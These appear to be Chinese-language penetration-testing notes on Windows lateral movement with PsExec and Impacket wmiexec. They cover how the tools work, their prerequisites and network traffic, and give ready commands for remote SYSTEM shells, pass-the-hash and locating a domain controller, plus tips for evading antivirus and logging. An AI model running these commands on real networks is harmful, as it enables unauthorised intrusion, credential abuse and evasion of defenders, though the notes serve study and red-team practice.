Psexec
psexec初心是为了方便服务器管理员管理大量的机器而开发的 cs在横向移动中也集中了这个工具 psexec的使用不需要对方主机开启3389端口,只需要对方开启admin$共享或c$(该共享默认开启,依赖445端口) 但是目标主机开启了防火墙(因为防火墙默认禁止445端口的连接),psexec也不能使用,会提示找不到网络路径 psexec.exe依赖于admin$共享,而impacket下的psexec.py则依赖于admin$或c$共享
基本原理
通过管道在远程目标机器上创建一个psexec服务,并在本地磁盘中生成一个名为”PSEXEVC”的二进制文件,然后,通过psexec服务运行命令,运行结束后删除服务
由于创建或者删除服务时候会产生大量的日志,所以会在攻击溯源时候通过日志反推攻击流程
使用前提
- 对方主机开启了admin$共享,如果关闭了admin$共享,则会提示:找不到网络名
- 如果是工作组环境,则必须使用administrator用户连接,使用普通用户连接,则会提示:”登录失败:未授予用户在此计算机上的请求登录类型[即使用户在管理员组内也会拒绝]
- 如果是域环境,连接普通域主机可以用普通域用户,连接域控需要域管理员
参数
- -u:指定用户名
- -p:指定密码
- -accepteula:第一次运行psexec会弹出确认框,使用该参数就不会弹出确认框了
- -s:以system权限运行进程,获得一个system权限的交互式shell,如果不使用该参数,会获得一个adminitrator权限的shell
wireshark
过滤规则ip.src==源地址 or ip.dst==目标地址
- 先进行TCP三次握手
- 协商协议
- 进行NTML验证
- 尝试连接$IPC
- 尝试连接ADMIN$
- 尝试写入PSEXESVC.exe
- 文件写入后,执行API安装服务
- 服务启动后建立一个管道(4)
ntlm认证,连接共享目录admin$,写入文件psexesvc到共享目录,利用ipc命令管道调用svcctl服务来间接调用psexesvc服务,创建四个命令管道 一个psexesvc管道用于服务本身,另外的管道stdin,stdout,stderr用于重定向进程
工作组
psexec \\目标机器ip -u administrator -p administrator的密码 cmd
域控
定位域控
- nslookup
- net view /domain
- net view /domain:hack
- ping \dc
在建立ipc$的情况下
net use \\192.168.3.1 /u:god\administrator Adin12345
net use
PsExec -acceptula \\192.168.3.1 -s cmd.exe
没有建立ipc$
PsExec \\192.168.3.1 -u god\administrator -p Admin12345 cmd.exe
命令回显
Psexec \\192.168.3.1 -u god\administrator -p Admin12345 cmd /c "ipconfig"
wmiexec
在使用wmiexec进行横向移动时候,windows操作系统默认不会将wmi的操作记录在日志中,同时攻击脚本无需写入到磁盘
wmiexec是对windows自带的wmic做了一些强化 wmiexec需要提供账号密码进行远程连接,但是如果没有破解出账号和明文密码,也可以配合哈希传递或者票据注入功能一起使用,先进行传递或注入,然后再使用wmiexec即可
自windows2008开始,windows操作系统都支持WMIC
使用WMIC连接远程主机,需要对方开放135和445端口 135:wmic默认管理端口,wimcexec使用445端口传回显
Impacket中的wmiexec.py
python wmiexec.py 用户名:密码@目标IP
如果对wmiexec.py指定-hashes的话,则可进行哈希传递
python wmiexec.py -hashes LM Hash:NT Hash 域名/用户名@目标IP // 哈希传递获得shell
python wmiexec.py -hashes LM Hash:NT Hash 域名/用户名@目标IP "ipconfig" // 执行命令
wmiexec.vbs执行原理
- 调用wmi通过账号密码或者ntlm(wce注入)连接到远程计算机
- 建立一个到目标的IPC连接
- 建立一个共享文件夹,用于读取命令执行结果
- 用户输入命令时,wmi创建进程执行该命令,然后把结果输出到文件
- 通过fso组件访问远程共享文件夹中的结果文件,将结果输出
- 调用wmi执行命令删除结果文件
- wmiexec退出,删除文件共享
在横向移动的过程中使用psexec和wmiexec被杀软拦截
wmiexec可以将命令执行结果输出到注册表通过wmic取回,调用Win32_ScheduledJob取代Win32_Process2等
psexec可以替换上传的服务exe程序进行防御规避